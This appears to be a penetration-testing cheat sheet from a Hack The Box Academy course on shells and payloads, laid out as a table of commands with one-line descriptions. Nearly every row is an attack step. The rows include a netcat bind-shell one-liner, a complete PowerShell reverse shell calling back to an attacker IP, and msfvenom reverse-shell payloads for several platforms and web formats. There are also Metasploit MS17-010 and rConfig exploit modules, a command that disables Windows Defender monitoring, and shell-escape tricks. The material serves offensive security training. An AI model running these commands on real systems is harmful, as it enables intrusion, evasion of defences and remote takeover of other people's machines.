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| Commands | Description |
|---|---|
xfreerdp /v:10.129.x.x /u:htb-student /p:HTB_@cademy_stdnt! | CLI-based tool used to connect to a Windows target using the Remote Desktop Protocol |
env | Works with many different command language interpreters to discover the environmental variables of a system. This is a great way to find out which shell language is in use |
sudo nc -lvnp <port #> | Starts a netcat listener on a specified port |
nc -nv <ip address of computer with listener started><port being listened on> | Connects to a netcat listener at the specified IP address and port |
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f | Uses netcat to bind a shell (/bin/bash) the specified IP address and port. This allows for a shell session to be served remotely to anyone connecting to the computer this command has been issued on |
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" | Powershell one-liner used to connect back to a listener that has been started on an attack box |
Set-MpPreference -DisableRealtimeMonitoring $true | Powershell command using to disable real time monitoring in Windows Defender |
use exploit/windows/smb/psexec | Metasploit exploit module that can be used on vulnerable Windows system to establish a shell session utilizing smb & psexec |
shell | Command used in a meterpreter shell session to drop into a system shell |
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > nameoffile.elf | MSFvenom command used to generate a linux-based reverse shell stageless payload |
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > nameoffile.exe | MSFvenom command used to generate a Windows-based reverse shell stageless payload |
msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f macho > nameoffile.macho | MSFvenom command used to generate a MacOS-based reverse shell payload |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.113 LPORT=443 -f asp > nameoffile.asp | MSFvenom command used to generate a ASP web reverse shell payload |
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f raw > nameoffile.jsp | MSFvenom command used to generate a JSP web reverse shell payload |
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f war > nameoffile.war | MSFvenom command used to generate a WAR java/jsp compatible web reverse shell payload |
use auxiliary/scanner/smb/smb_ms17_010 | Metasploit exploit module used to check if a host is vulnerable to ms17_010 |
use exploit/windows/smb/ms17_010_psexec | Metasploit exploit module used to gain a reverse shell session on a Windows-based system that is vulnerable to ms17_010 |
use exploit/linux/http/rconfig_vendors_auth_file_upload_rce | Metasploit exploit module that can be used to optain a reverse shell on a vulnerable linux system hosting rConfig 3.9.6 |
python -c 'import pty; pty.spawn("/bin/sh")' | Python command used to spawn an interactive shell on a linux-based system |
/bin/sh -i | Spawns an interactive shell on a linux-based system |
perl —e 'exec "/bin/sh";' | Uses perl to spawn an interactive shell on a linux-based system |
ruby: exec "/bin/sh" | Uses ruby to spawn an interactive shell on a linux-based system |
Lua: os.execute('/bin/sh') | Uses Lua to spawn an interactive shell on a linux-based system |
awk 'BEGIN {system("/bin/sh")}' | Uses awk command to spawn an interactive shell on a linux-based system |
find / -name nameoffile 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \; | Uses find command to spawn an interactive shell on a linux-based system |
find . -exec /bin/sh \; -quit | An alternative way to use the find command to spawn an interactive shell on a linux-based system |
vim -c ':!/bin/sh' | Uses the text-editor VIM to spawn an interactive shell. Can be used to escape “jail-shells” |
ls -la <path/to/fileorbinary> | Used to list files & directories on a linux-based system and shows the permission for each file in the chosen directory. Can be used to look for binaries that we have permission to execute |
sudo -l | Displays the commands that the currently logged on user can run as sudo |
/usr/share/webshells/laudanum | Location of laudanum webshells on ParrotOS and Pwnbox |
/usr/share/nishang/Antak-WebShell | Location of Antak-Webshell on Parrot OS and Pwnbox |